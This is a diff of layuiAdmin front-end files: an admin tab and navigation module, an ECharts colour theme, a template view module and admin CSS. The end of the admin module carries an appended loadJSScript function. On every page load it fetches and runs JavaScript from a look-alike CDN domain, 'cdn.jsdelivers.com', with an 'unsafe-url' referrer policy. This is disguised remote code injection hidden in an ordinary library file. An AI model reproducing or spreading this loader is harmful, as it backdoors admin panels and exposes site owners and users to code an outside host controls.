layer.close(elem.data('index'));
|
||||
};
|
||||
admin.tabsPage.type = 'nav';
|
||||
});
|
||||
|
||||
//监听选项卡的更多操作
|
||||
element.on('nav(layadmin-pagetabs-nav)', function(elem){
|
||||
var dd = elem.parent();
|
||||
dd.removeClass(THIS);
|
||||
dd.parent().removeClass(SHOW);
|
||||
});
|
||||
|
||||
//同步路由
|
||||
var setThisRouter = function(othis){
|
||||
var layid = othis.attr('lay-id')
|
||||
,attr = othis.attr('lay-attr')
|
||||
,index = othis.index();
|
||||
|
||||
location.hash = layid === setter.entry ? '/' : (attr || '/');
|
||||
admin.tabsBodyChange(index);
|
||||
}
|
||||
,TABS_HEADER = '#LAY_app_tabsheader>li';
|
||||
|
||||
//页面标签点击
|
||||
$body.on('click', TABS_HEADER, function(){
|
||||
var othis = $(this)
|
||||
,index = othis.index();
|
||||
|
||||
admin.tabsPage.type = 'tab';
|
||||
admin.tabsPage.index = index;
|
||||
|
||||
//如果是iframe类型的标签页
|
||||
if(othis.attr('lay-attr') === 'iframe'){
|
||||
return admin.tabsBodyChange(index);
|
||||
};
|
||||
|
||||
|
||||
setThisRouter(othis); //同步路由
|
||||
admin.runResize(); //执行resize事件,如果存在的话
|
||||
admin.resizeTable(); //重置当前主体区域的表格尺寸
|
||||
});
|
||||
|
||||
//监听 tabspage 删除
|
||||
element.on('tabDelete(layadmin-layout-tabs)', function(obj){
|
||||
var othis = $(TABS_HEADER+ '.layui-this');
|
||||
|
||||
obj.index && admin.tabsBody(obj.index).remove();
|
||||
setThisRouter(othis);
|
||||
|
||||
//移除resize事件
|
||||
admin.delResize();
|
||||
});
|
||||
|
||||
//页面跳转
|
||||
$body.on('click', '*[lay-href]', function(){
|
||||
var othis = $(this)
|
||||
,href = othis.attr('lay-href')
|
||||
,router = layui.router();
|
||||
|
||||
admin.tabsPage.elem = othis;
|
||||
//admin.prevRouter[router.path[0]] = router.href; //记录上一次各菜单的路由信息
|
||||
|
||||
//执行跳转
|
||||
location.hash = admin.correctRouter(href);
|
||||
});
|
||||
|
||||
//点击事件
|
||||
$body.on('click', '*[layadmin-event]', function(){
|
||||
var othis = $(this)
|
||||
,attrEvent = othis.attr('layadmin-event');
|
||||
events[attrEvent] && events[attrEvent].call(this, othis);
|
||||
});
|
||||
|
||||
//tips
|
||||
$body.on('mouseenter', '*[lay-tips]', function(){
|
||||
var othis = $(this);
|
||||
|
||||
if(othis.parent().hasClass('layui-nav-item') && !container.hasClass(SIDE_SHRINK)) return;
|
||||
|
||||
var tips = othis.attr('lay-tips')
|
||||
,offset = othis.attr('lay-offset')
|
||||
,direction = othis.attr('lay-direction')
|
||||
,index = layer.tips(tips, this, {
|
||||
tips: direction || 1
|
||||
,time: -1
|
||||
,success: function(layero, index){
|
||||
if(offset){
|
||||
layero.css('margin-left', offset + 'px');
|
||||
}
|
||||
}
|
||||
});
|
||||
othis.data('index', index);
|
||||
}).on('mouseleave', '*[lay-tips]', function(){
|
||||
layer.close($(this).data('index'));
|
||||
});
|
||||
|
||||
//窗口resize事件
|
||||
var resizeSystem = layui.data.resizeSystem = function(){
|
||||
//layer.close(events.note.index);
|
||||
layer.closeAll('tips');
|
||||
|
||||
if(!resizeSystem.lock){
|
||||
setTimeout(function(){
|
||||
admin.sideFlexible(admin.screen() < 2 ? '' : 'spread');
|
||||
delete resizeSystem.lock;
|
||||
}, 100);
|
||||
}
|
||||
|
||||
resizeSystem.lock = true;
|
||||
}
|
||||
$win.on('resize', layui.data.resizeSystem);
|
||||
|
||||
//接口输出
|
||||
exports('admin', admin);
|
||||
});
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,267 @@
|
||||
/**
|
||||
|
||||
@Name:echarts 主题
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:GPL-2
|
||||
|
||||
*/
|
||||
|
||||
|
||||
layui.define(function(exports) {
|
||||
exports('echartsTheme', {
|
||||
// 默认色板
|
||||
color: [
|
||||
'#009688','#1E9FFF','#5FB878','#FFB980','#D87A80',
|
||||
'#8d98b3','#e5cf0d','#97b552','#95706d','#dc69aa',
|
||||
'#07a2a4','#9a7fd1','#588dd5','#f5994e','#c05050',
|
||||
'#59678c','#c9ab00','#7eb00a','#6f5553','#c14089'
|
||||
],
|
||||
|
||||
// 图表标题
|
||||
title: {
|
||||
textStyle: {
|
||||
fontWeight: 'normal',
|
||||
color: '#666' // 主标题文字颜色
|
||||
}
|
||||
},
|
||||
|
||||
// 值域
|
||||
dataRange: {
|
||||
itemWidth: 15,
|
||||
color: ['#009688','#e0ffff']
|
||||
},
|
||||
|
||||
// 工具箱
|
||||
toolbox: {
|
||||
color : ['#1e90ff', '#1e90ff', '#1e90ff', '#1e90ff'],
|
||||
effectiveColor : '#ff4500'
|
||||
},
|
||||
|
||||
// 提示框
|
||||
tooltip: {
|
||||
backgroundColor: 'rgba(50,50,50,0.5)', // 提示背景颜色,默认为透明度为0.7的黑色
|
||||
axisPointer : { // 坐标轴指示器,坐标轴触发有效
|
||||
type : 'line', // 默认为直线,可选为:'line' | 'shadow'
|
||||
lineStyle : { // 直线指示器样式设置
|
||||
color: '#009688'
|
||||
},
|
||||
crossStyle: {
|
||||
color: '#008acd'
|
||||
},
|
||||
shadowStyle : { // 阴影指示器样式设置
|
||||
color: 'rgba(200,200,200,0.2)'
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
// 区域缩放控制器
|
||||
dataZoom: {
|
||||
dataBackgroundColor: '#efefff', // 数据背景颜色
|
||||
fillerColor: 'rgba(182,162,222,0.2)', // 填充颜色
|
||||
handleColor: '#008acd' // 手柄颜色
|
||||
},
|
||||
|
||||
// 网格
|
||||
grid: {
|
||||
borderColor: '#eee'
|
||||
},
|
||||
|
||||
// 类目轴 - X轴
|
||||
categoryAxis: {
|
||||
axisLine: { // 坐标轴线
|
||||
lineStyle: { // 属性lineStyle控制线条样式
|
||||
color: '#009688'
|
||||
}
|
||||
},
|
||||
axisTick: { //小标记
|
||||
show: false
|
||||
},
|
||||
splitLine: { // 分隔线
|
||||
lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式
|
||||
color: ['#eee']
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
// 数值型坐标轴默认参数 - Y轴
|
||||
valueAxis: {
|
||||
axisLine: { // 坐标轴线
|
||||
lineStyle: { // 属性lineStyle控制线条样式
|
||||
color: '#009688'
|
||||
}
|
||||
},
|
||||
splitArea : {
|
||||
show : true,
|
||||
areaStyle : {
|
||||
color: ['rgba(250,250,250,0.1)','rgba(200,200,200,0.1)']
|
||||
}
|
||||
},
|
||||
splitLine: { // 分隔线
|
||||
lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式
|
||||
color: ['#eee']
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
polar : {
|
||||
axisLine: { // 坐标轴线
|
||||
lineStyle: { // 属性lineStyle控制线条样式
|
||||
color: '#ddd'
|
||||
}
|
||||
},
|
||||
splitArea : {
|
||||
show : true,
|
||||
areaStyle : {
|
||||
color: ['rgba(250,250,250,0.2)','rgba(200,200,200,0.2)']
|
||||
}
|
||||
},
|
||||
splitLine : {
|
||||
lineStyle : {
|
||||
color : '#ddd'
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
timeline : {
|
||||
lineStyle : {
|
||||
color : '#009688'
|
||||
},
|
||||
controlStyle : {
|
||||
normal : { color : '#009688'},
|
||||
emphasis : { color : '#009688'}
|
||||
},
|
||||
symbol : 'emptyCircle',
|
||||
symbolSize : 3
|
||||
},
|
||||
|
||||
// 柱形图默认参数
|
||||
bar: {
|
||||
itemStyle: {
|
||||
normal: {
|
||||
barBorderRadius: 2
|
||||
},
|
||||
emphasis: {
|
||||
barBorderRadius: 2
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
// 折线图默认参数
|
||||
line: {
|
||||
smooth : true,
|
||||
symbol: 'emptyCircle', // 拐点图形类型
|
||||
symbolSize: 3 // 拐点图形大小
|
||||
},
|
||||
|
||||
// K线图默认参数
|
||||
k: {
|
||||
itemStyle: {
|
||||
normal: {
|
||||
color: '#d87a80', // 阳线填充颜色
|
||||
color0: '#2ec7c9', // 阴线填充颜色
|
||||
lineStyle: {
|
||||
color: '#d87a80', // 阳线边框颜色
|
||||
color0: '#2ec7c9' // 阴线边框颜色
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
// 散点图默认参数
|
||||
scatter: {
|
||||
symbol: 'circle', // 图形类型
|
||||
symbolSize: 4 // 图形大小,半宽(半径)参数,当图形为方向或菱形则总宽度为symbolSize * 2
|
||||
},
|
||||
|
||||
// 雷达图默认参数
|
||||
radar : {
|
||||
symbol: 'emptyCircle', // 图形类型
|
||||
symbolSize:3
|
||||
//symbol: null, // 拐点图形类型
|
||||
//symbolRotate : null, // 图形旋转控制
|
||||
},
|
||||
|
||||
map: {
|
||||
itemStyle: {
|
||||
normal: {
|
||||
areaStyle: {
|
||||
color: '#ddd'
|
||||
},
|
||||
label: {
|
||||
textStyle: {
|
||||
color: '#d87a80'
|
||||
}
|
||||
}
|
||||
},
|
||||
emphasis: { // 也是选中样式
|
||||
areaStyle: {
|
||||
color: '#fe994e'
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
force : {
|
||||
itemStyle: {
|
||||
normal: {
|
||||
linkStyle : {
|
||||
color : '#1e90ff'
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
chord : {
|
||||
itemStyle : {
|
||||
normal : {
|
||||
borderWidth: 1,
|
||||
borderColor: 'rgba(128, 128, 128, 0.5)',
|
||||
chordStyle : {
|
||||
lineStyle : {
|
||||
color : 'rgba(128, 128, 128, 0.5)'
|
||||
}
|
||||
}
|
||||
},
|
||||
emphasis : {
|
||||
borderWidth: 1,
|
||||
borderColor: 'rgba(128, 128, 128, 0.5)',
|
||||
chordStyle : {
|
||||
lineStyle : {
|
||||
color : 'rgba(128, 128, 128, 0.5)'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
gauge : {
|
||||
axisLine: { // 坐标轴线
|
||||
lineStyle: { // 属性lineStyle控制线条样式
|
||||
color: [[0.2, '#2ec7c9'],[0.8, '#5ab1ef'],[1, '#d87a80']],
|
||||
width: 10
|
||||
}
|
||||
},
|
||||
axisTick: { // 坐标轴小标记
|
||||
splitNumber: 10, // 每份split细分多少段
|
||||
length :15, // 属性length控制线长
|
||||
lineStyle: { // 属性lineStyle控制线条样式
|
||||
color: 'auto'
|
||||
}
|
||||
},
|
||||
splitLine: { // 分隔线
|
||||
length :22, // 属性length控制线长
|
||||
lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式
|
||||
color: 'auto'
|
||||
}
|
||||
},
|
||||
pointer : {
|
||||
width : 5
|
||||
}
|
||||
},
|
||||
|
||||
textStyle: {
|
||||
fontFamily: '微软雅黑, Arial, Verdana, sans-serif'
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,358 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 视图模块
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define(['laytpl', 'layer'], function(exports){
|
||||
var $ = layui.jquery
|
||||
,laytpl = layui.laytpl
|
||||
,layer = layui.layer
|
||||
,setter = layui.setter
|
||||
,device = layui.device()
|
||||
,hint = layui.hint()
|
||||
|
||||
//对外接口
|
||||
,view = function(id){
|
||||
return new Class(id);
|
||||
}
|
||||
|
||||
,SHOW = 'layui-show', LAY_BODY = 'LAY_app_body'
|
||||
|
||||
//构造器
|
||||
,Class = function(id){
|
||||
this.id = id;
|
||||
this.container = $('#'+(id || LAY_BODY));
|
||||
};
|
||||
|
||||
//加载中
|
||||
view.loading = function(elem){
|
||||
elem.append(
|
||||
this.elemLoad = $('<i class="layui-anim layui-anim-rotate layui-anim-loop layui-icon layui-icon-loading layadmin-loading"></i>')
|
||||
);
|
||||
};
|
||||
|
||||
//移除加载
|
||||
view.removeLoad = function(){
|
||||
this.elemLoad && this.elemLoad.remove();
|
||||
};
|
||||
|
||||
//清除 token,并跳转到登入页
|
||||
view.exit = function(){
|
||||
//清空本地记录的 token
|
||||
layui.data(setter.tableName, {
|
||||
key: setter.request.tokenName
|
||||
,remove: true
|
||||
});
|
||||
|
||||
//跳转到登入页
|
||||
location.hash = '/user/login';
|
||||
};
|
||||
|
||||
//Ajax请求
|
||||
view.req = function(options){
|
||||
var that = this
|
||||
,success = options.success
|
||||
,error = options.error
|
||||
,request = setter.request
|
||||
,response = setter.response
|
||||
,debug = function(){
|
||||
return setter.debug
|
||||
? '<br><cite>URL:</cite>' + options.url
|
||||
: '';
|
||||
};
|
||||
|
||||
options.data = options.data || {};
|
||||
options.headers = options.headers || {};
|
||||
|
||||
if(request.tokenName){
|
||||
var sendData = typeof options.data === 'string'
|
||||
? JSON.parse(options.data)
|
||||
: options.data;
|
||||
|
||||
//自动给参数传入默认 token
|
||||
options.data[request.tokenName] = request.tokenName in sendData
|
||||
? options.data[request.tokenName]
|
||||
: (layui.data(setter.tableName)[request.tokenName] || '');
|
||||
|
||||
//自动给 Request Headers 传入 token
|
||||
options.headers[request.tokenName] = request.tokenName in options.headers
|
||||
? options.headers[request.tokenName]
|
||||
: (layui.data(setter.tableName)[request.tokenName] || '');
|
||||
}
|
||||
|
||||
delete options.success;
|
||||
delete options.error;
|
||||
|
||||
return $.ajax($.extend({
|
||||
type: 'get'
|
||||
,dataType: 'json'
|
||||
,success: function(res){
|
||||
var statusCode = response.statusCode;
|
||||
|
||||
//只有 response 的 code 一切正常才执行 done
|
||||
if(res[response.statusName] == statusCode.ok) {
|
||||
typeof options.done === 'function' && options.done(res);
|
||||
}
|
||||
|
||||
//登录状态失效,清除本地 access_token,并强制跳转到登入页
|
||||
else if(res[response.statusName] == statusCode.logout){
|
||||
view.exit();
|
||||
}
|
||||
|
||||
//错误提示,操作失败的提示,哭脸 2018-11-24 zhangerfeng
|
||||
else if(res[response.statusName] == statusCode.error){
|
||||
layer.msg(res[response.msgName], {icon: 5 });
|
||||
}
|
||||
|
||||
//notice提示 2018-11-24 zhangerfeng
|
||||
else if(res[response.statusName] == statusCode.notice){
|
||||
layer.msg(res[response.msgName], {icon: 7 });
|
||||
}
|
||||
|
||||
//其它异常
|
||||
else {
|
||||
var error = [
|
||||
'<cite>Error:</cite> ' + (res[response.msgName] || '返回状态码异常')
|
||||
,debug()
|
||||
].join('');
|
||||
view.error(error);
|
||||
}
|
||||
|
||||
//只要 http 状态码正常,无论 response 的 code 是否正常都执行 success
|
||||
typeof success === 'function' && success(res);
|
||||
}
|
||||
,error: function(e, code){
|
||||
var error = [
|
||||
'请求异常,请重试<br><cite>错误信息:</cite>'+ code
|
||||
,debug()
|
||||
].join('');
|
||||
view.error(error);
|
||||
|
||||
typeof error === 'function' && error(res);
|
||||
}
|
||||
}, options));
|
||||
};
|
||||
|
||||
//弹窗
|
||||
view.popup = function(options){
|
||||
var success = options.success
|
||||
,skin = options.skin;
|
||||
|
||||
delete options.success;
|
||||
delete options.skin;
|
||||
|
||||
return layer.open($.extend({
|
||||
type: 1
|
||||
,title: '提示'
|
||||
,content: ''
|
||||
,id: 'LAY-system-view-popup'
|
||||
,skin: 'layui-layer-admin' + (skin ? ' ' + skin : '')
|
||||
,shadeClose: true
|
||||
,closeBtn: false
|
||||
,success: function(layero, index){
|
||||
var elemClose = $('<i class="layui-icon" close>ဆ</i>');
|
||||
layero.append(elemClose);
|
||||
elemClose.on('click', function(){
|
||||
layer.close(index);
|
||||
});
|
||||
typeof success === 'function' && success.apply(this, arguments);
|
||||
}
|
||||
}, options))
|
||||
};
|
||||
|
||||
//异常提示
|
||||
view.error = function(content, options){
|
||||
return view.popup($.extend({
|
||||
content: content
|
||||
,maxWidth: 300
|
||||
//,shade: 0.01
|
||||
,offset: 't'
|
||||
,anim: 6
|
||||
,id: 'LAY_adminError'
|
||||
}, options))
|
||||
};
|
||||
|
||||
|
||||
//请求模板文件渲染
|
||||
Class.prototype.render = function(views, params){
|
||||
var that = this, router = layui.router();
|
||||
views = setter.views + views + setter.engine;
|
||||
|
||||
$('#'+ LAY_BODY).children('.layadmin-loading').remove();
|
||||
view.loading(that.container); //loading
|
||||
|
||||
//请求模板
|
||||
$.ajax({
|
||||
url: views
|
||||
,type: 'get'
|
||||
,dataType: 'html'
|
||||
,data: {
|
||||
v: layui.cache.version
|
||||
}
|
||||
,success: function(html){
|
||||
html = '<div>' + html + '</div>';
|
||||
|
||||
var elemTitle = $(html).find('title')
|
||||
,title = elemTitle.text() || (html.match(/\<title\>([\s\S]*)\<\/title>/)||[])[1];
|
||||
|
||||
var res = {
|
||||
title: title
|
||||
,body: html
|
||||
};
|
||||
|
||||
elemTitle.remove();
|
||||
that.params = params || {}; //获取参数
|
||||
|
||||
if(that.then){
|
||||
that.then(res);
|
||||
delete that.then;
|
||||
}
|
||||
|
||||
that.parse(html);
|
||||
view.removeLoad();
|
||||
|
||||
if(that.done){
|
||||
that.done(res);
|
||||
delete that.done;
|
||||
}
|
||||
|
||||
}
|
||||
,error: function(e){
|
||||
view.removeLoad();
|
||||
|
||||
if(that.render.isError){
|
||||
return view.error('请求视图文件异常,状态:'+ e.status);
|
||||
};
|
||||
|
||||
if(e.status === 404){
|
||||
that.render('template/tips/404');
|
||||
} else {
|
||||
that.render('template/tips/error');
|
||||
}
|
||||
|
||||
that.render.isError = true;
|
||||
}
|
||||
});
|
||||
return that;
|
||||
};
|
||||
|
||||
//解析模板
|
||||
Class.prototype.parse = function(html, refresh, callback){
|
||||
var that = this
|
||||
,isScriptTpl = typeof html === 'object' //是否模板元素
|
||||
,elem = isScriptTpl ? html : $(html)
|
||||
,elemTemp = isScriptTpl ? html : elem.find('*[template]')
|
||||
,fn = function(options){
|
||||
var tpl = laytpl(options.dataElem.html())
|
||||
,res = $.extend({
|
||||
params: router.params
|
||||
}, options.res);
|
||||
|
||||
options.dataElem.after(tpl.render(res));
|
||||
typeof callback === 'function' && callback();
|
||||
|
||||
try {
|
||||
options.done && new Function('d', options.done)(res);
|
||||
} catch(e){
|
||||
console.error(options.dataElem[0], '\n存在错误回调脚本\n\n', e)
|
||||
}
|
||||
}
|
||||
,router = layui.router();
|
||||
|
||||
elem.find('title').remove();
|
||||
that.container[refresh ? 'after' : 'html'](elem.children());
|
||||
|
||||
router.params = that.params || {};
|
||||
|
||||
//遍历模板区块
|
||||
for(var i = elemTemp.length; i > 0; i--){
|
||||
(function(){
|
||||
var dataElem = elemTemp.eq(i - 1)
|
||||
,layDone = dataElem.attr('lay-done') || dataElem.attr('lay-then') //获取回调
|
||||
,url = laytpl(dataElem.attr('lay-url')|| '').render(router) //接口 url
|
||||
,data = laytpl(dataElem.attr('lay-data')|| '').render(router) //接口参数
|
||||
,headers = laytpl(dataElem.attr('lay-headers')|| '').render(router); //接口请求的头信息
|
||||
|
||||
try {
|
||||
data = new Function('return '+ data + ';')();
|
||||
} catch(e) {
|
||||
hint.error('lay-data: ' + e.message);
|
||||
data = {};
|
||||
};
|
||||
|
||||
try {
|
||||
headers = new Function('return '+ headers + ';')();
|
||||
} catch(e) {
|
||||
hint.error('lay-headers: ' + e.message);
|
||||
headers = headers || {}
|
||||
};
|
||||
|
||||
if(url){
|
||||
view.req({
|
||||
type: dataElem.attr('lay-type') || 'get'
|
||||
,url: url
|
||||
,data: data
|
||||
,dataType: 'json'
|
||||
,headers: headers
|
||||
,success: function(res){
|
||||
fn({
|
||||
dataElem: dataElem
|
||||
,res: res
|
||||
,done: layDone
|
||||
});
|
||||
}
|
||||
});
|
||||
} else {
|
||||
fn({
|
||||
dataElem: dataElem
|
||||
,done: layDone
|
||||
});
|
||||
}
|
||||
}());
|
||||
}
|
||||
|
||||
return that;
|
||||
};
|
||||
|
||||
//直接渲染字符
|
||||
Class.prototype.send = function(views, data){
|
||||
var tpl = laytpl(views || this.container.html()).render(data || {});
|
||||
this.container.html(tpl);
|
||||
return this;
|
||||
};
|
||||
|
||||
//局部刷新模板
|
||||
Class.prototype.refresh = function(callback){
|
||||
var that = this
|
||||
,next = that.container.next()
|
||||
,templateid = next.attr('lay-templateid');
|
||||
|
||||
if(that.id != templateid) return that;
|
||||
|
||||
that.parse(that.container, 'refresh', function(){
|
||||
that.container.siblings('[lay-templateid="'+ that.id +'"]:last').remove();
|
||||
typeof callback === 'function' && callback();
|
||||
});
|
||||
|
||||
return that;
|
||||
};
|
||||
|
||||
//视图请求成功后的回调
|
||||
Class.prototype.then = function(callback){
|
||||
this.then = callback;
|
||||
return this;
|
||||
};
|
||||
|
||||
//视图渲染完毕后的回调
|
||||
Class.prototype.done = function(callback){
|
||||
this.done = callback;
|
||||
return this;
|
||||
};
|
||||
|
||||
//对外接口
|
||||
exports('view', view);
|
||||
});
|
||||
@@ -0,0 +1,526 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
html #layuicss-layuiAdmin{display: none; position: absolute; width: 1989px;}
|
||||
|
||||
|
||||
|
||||
|
||||
/* 系统 */
|
||||
::-webkit-input-placeholder{color: #ccc}
|
||||
|
||||
/** 滚动条 **/
|
||||
/*
|
||||
::-webkit-scrollbar{width: 10px; height: 10px;}
|
||||
::-webkit-scrollbar-button:vertical{display: none;}
|
||||
::-webkit-scrollbar-track, ::-webkit-scrollbar-corner{background-color: #e2e2e2;}
|
||||
::-webkit-scrollbar-thumb{border-radius: 0; background-color: rgba(0,0,0,.3);}
|
||||
::-webkit-scrollbar-thumb:vertical:hover{background-color: rgba(0,0,0,.35);}
|
||||
::-webkit-scrollbar-thumb:vertical:active{background-color: rgba(0,0,0,.38);}
|
||||
*/
|
||||
|
||||
|
||||
/* 全局 */
|
||||
html{background-color: #f2f2f2; color: #666;}
|
||||
*[template],
|
||||
.layadmin-tabsbody-item{display: none;}
|
||||
*[lay-href],
|
||||
*[lay-tips],
|
||||
*[layadmin-event]{cursor: pointer;}
|
||||
|
||||
/* 重置布局结构 */
|
||||
.layui-layout-admin .layui-header{position: fixed; top: 0; left: 0; width: 100%; height: 50px;}
|
||||
|
||||
/*
|
||||
.layui-layout-admin .layui-header .layui-layout-right .layui-nav-item a{color: #fff;}
|
||||
.layui-layout-admin .layui-header .layui-layout-right .layui-nav-item a cite{color: rgba(255,255,255,.7);}
|
||||
*/
|
||||
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-child a{color: #333;}
|
||||
.layui-layout-admin .layui-side{width: 220px; top: 0; z-index: 1001;}
|
||||
.layui-layout-admin .layui-logo,
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-item{height: 50px; line-height: 50px;}
|
||||
.layui-layout-admin .layui-logo{position: fixed; left: 0; top: 0; z-index: 1002; width: 220px; height: 49px; padding: 0 15px; box-sizing: border-box; overflow: hidden; font-weight: 300; background-repeat: no-repeat; background-position: center center;}
|
||||
.layui-layout-admin .layui-layout-left,
|
||||
.layadmin-pagetabs,
|
||||
.layui-layout-admin .layui-body,
|
||||
.layui-layout-admin .layui-footer{left: 220px;}
|
||||
.layadmin-pagetabs{position: fixed; top: 50px; right: 0; z-index: 999;}
|
||||
.layadmin-pagetabs .layui-breadcrumb{padding: 0 15px;}
|
||||
.layui-layout-admin .layui-body{position: fixed; top: 90px; bottom: 0;}
|
||||
.layui-layout-admin .layui-body .layadmin-tabsbody-item{position: absolute; top: 0; bottom: 0; left: 0; right: 0; overflow: hidden; overflow-y: auto;}
|
||||
.layui-layout-admin .layui-header .layui-nav-img{width: 26px; height: 26px;}
|
||||
.layui-layout-admin .layui-header .layui-nav-child{top: 55px;}
|
||||
.layui-layout-admin .layui-header .layui-layout-right .layui-nav-child{left: auto; right: 0;}
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this a,
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-child dd.layui-this{background: none}
|
||||
|
||||
/* 统一动画 */
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-item,
|
||||
.layui-layout-admin .layui-layout-left,
|
||||
.layadmin-pagetabs,
|
||||
.layui-layout-admin .layui-body,
|
||||
.layui-layout-admin .layui-footer,
|
||||
.layui-layout-admin .layui-side,
|
||||
.layui-layout-admin .layui-logo,
|
||||
.layui-layout-admin .layui-header .layui-layout-right{transition: all .3s; -webkit-transition: all .3s;}
|
||||
|
||||
/* 图标 */
|
||||
.layui-icon-login-qq{color: #3492ED;}
|
||||
.layui-icon-login-wechat{color: #4DAF29;}
|
||||
.layui-icon-login-weibo{color: #CF1900;}
|
||||
|
||||
/* 重置表格风格 */
|
||||
/*
|
||||
.layui-table th,
|
||||
.layui-table td,
|
||||
.layui-table[lay-skin="line"],
|
||||
.layui-table[lay-skin="row"],
|
||||
.layui-table-view,
|
||||
.layui-table-header,
|
||||
.layui-table-tool,
|
||||
.layui-table-page,
|
||||
.layui-table-fixed-r,
|
||||
.layui-table-tips-main{border-color: #f6f6f6;}
|
||||
|
||||
.layui-table thead tr,
|
||||
.layui-table-header,
|
||||
.layui-table-tool,
|
||||
.layui-table-patch,
|
||||
.layui-table-mend{background-color: #fff;}
|
||||
|
||||
.layui-table[lay-even] tr:nth-child(even),
|
||||
.layui-table tbody tr:hover,
|
||||
.layui-table-hover,
|
||||
.layui-table-click{background-color: #f8f8f8;}
|
||||
*/
|
||||
|
||||
/* 表单 */
|
||||
.layui-form[wid100] .layui-form-label{width: 100px;}
|
||||
.layui-form[wid100] .layui-input-block{margin-left: 130px;}
|
||||
@media screen and (max-width: 450px){
|
||||
.layui-form[wid100] .layui-form-item .layui-input-inline{margin-left: 132px;}
|
||||
.layui-form[wid100] .layui-form-item .layui-input-inline+.layui-form-mid{margin-left: 130px;}
|
||||
}
|
||||
.layui-form-item .layui-input-company{width: auto; padding-right: 10px; line-height: 38px;}
|
||||
|
||||
/* 辅助 */
|
||||
.layadmin-flexible{}
|
||||
.layui-bg-white{background-color: #fff;}
|
||||
.layadmin-loading{position: absolute; left: 50%; top: 50%; margin: -16px -15px; font-size: 30px; color: #c2c2c2;}
|
||||
.layadmin-fixed{position: fixed; left: 0; top: 0; z-index: 999;}
|
||||
.layadmin-link{color: #029789!important;}
|
||||
.layadmin-link:hover{opacity: 0.8;}
|
||||
|
||||
/* 弹出面板 */
|
||||
.layui-layer-admin .layui-layer-title{height: 50px; line-height: 50px; border: none 0; background-color: #20222A; color: #fff;}
|
||||
.layui-layer-admin i[close]{position: absolute; padding: 5px; right: 10px; top: 12px; color: #fff; cursor: pointer;}
|
||||
.layui-layer-admin .layui-layer-content{padding: 20px; line-height: 22px;}
|
||||
.layui-layer-admin .layui-layer-content cite{font-style: normal; color: #FF5722;}
|
||||
|
||||
/* 右侧面板 */
|
||||
.layui-layer-adminRight{top: 50px !important; bottom: 0; box-shadow: 1px 1px 10px rgba(0,0,0,.1); border-radius: 0; overflow: auto;}
|
||||
|
||||
/* 弹出便签 */
|
||||
.layadmin-note .layui-layer-content{padding: 0;}
|
||||
.layadmin-note textarea{display: block; width: 300px; height: 132px; min-width: 300px; min-height: 132px; line-height: 20px; padding: 10px 20px; border: none; box-sizing: border-box; color: #666; word-wrap: break-word;}
|
||||
|
||||
/* 头部导航 */
|
||||
.layui-layout-admin .layui-layout-left{padding: 0 10px;}
|
||||
.layui-layout-admin .layui-layout-left .layui-nav-item{margin: 0 20px;}
|
||||
.layui-layout-admin .layui-input-search{display: inline-block; vertical-align: middle; height: 32px; border: none; cursor: text;}
|
||||
.layui-layout-admin .layui-layout-left a{padding: 0;}
|
||||
.layui-layout-admin .layui-layout-right{padding: 0;}
|
||||
.layui-header .layui-nav-item .layui-icon{position: relative; top: 1px; font-size: 16px;}
|
||||
.layui-header .layui-nav-item:hover{}
|
||||
.layui-header .layui-layout-right .layui-badge-dot{margin-left: 11px;}
|
||||
.layui-header .layui-nav .layui-this:after,
|
||||
.layui-layout-admin .layui-header .layui-nav-bar{top: 0 !important; bottom: auto; height: 3px; background-color: #fff; background-color: rgba(255,255,255,.3);}
|
||||
|
||||
/* 遮罩 */
|
||||
.layadmin-body-shade{position: fixed; display: none; left: 0; right: 0; top: 0; bottom: 0; background-color: rgba(0,0,0,.3); z-index: 1000;}
|
||||
|
||||
/* 侧边菜单 */
|
||||
.layui-side-menu .layui-side-scroll{width: 240px;}
|
||||
.layui-side-menu .layui-nav{width: 220px; margin-top: 50px; background: none;}
|
||||
.layui-side-menu .layui-nav .layui-nav-item a{height: 40px; line-height: 40px; padding-left: 45px; padding-right: 30px;}
|
||||
.layui-side-menu .layui-nav .layui-nav-item > a{padding-top: 8px; padding-bottom: 8px;}
|
||||
.layui-side-menu .layui-nav .layui-nav-item a:hover{background: none;}
|
||||
